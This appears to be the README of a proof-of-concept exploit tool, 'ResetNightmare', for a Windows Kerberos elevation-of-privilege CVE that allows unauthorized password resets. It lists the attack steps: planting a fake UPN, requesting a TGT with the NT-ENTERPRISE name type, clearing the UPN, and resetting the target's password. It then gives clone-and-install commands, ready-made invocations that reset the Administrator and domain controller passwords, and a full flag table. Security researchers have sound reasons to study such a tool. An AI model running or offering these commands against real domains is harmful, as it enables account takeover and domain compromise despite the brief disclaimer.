
PoC for CVE-2026-27912 - Windows Kerberos Elevation of Privilege (ResetNightmare). Unauthorized password reset via Kerberos flaw. For security research only.
CVE-2026-27912 - Windows Kerberos Elevation of Privilege Vulnerability
ResetNightmare - Unauthorized password reset via Kerberos Change Password protocol flaw.
| Field | Value |
|---|---|
| CVE | CVE-2026-27912 |
| Title | Windows Kerberos Elevation of Privilege Vulnerability |
| CVSS | 8.0 HIGH (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-285: Improper Authorization |
| Published | April 14, 2026 |
| Patched | April 2026 |
1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success
Install-WindowsFeature RSAT-AD-PowerShell)# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912
# Install dependencies
pip install -r requirements.txt
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass
python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c
python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v
For authorized security testing and educational research only.
Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software.
n0vax1337 / Security Researcher
MIT License - see LICENSE
Last Updated: 2026
| Flag | Description | Default |
|---|
-t / --target | Target account name | required |
-p / --new-password | New password for target | required |
-u / --upn-user | Account to set fake UPN on | required |
-up / --upn-password | Password for UPN account | required |
-c / --computer | UPNUser is a computer account | flag |
-r / --rubeus-path | Path to Rubeus.exe | Rubeus.exe |
-e / --encryption | Supported encryption type | AES256 |
-path / --create-path | OU path to create new account | "" |
-d / --dc | Domain Controller name | auto-detect |
-v / --verbose | Verbose output | flag |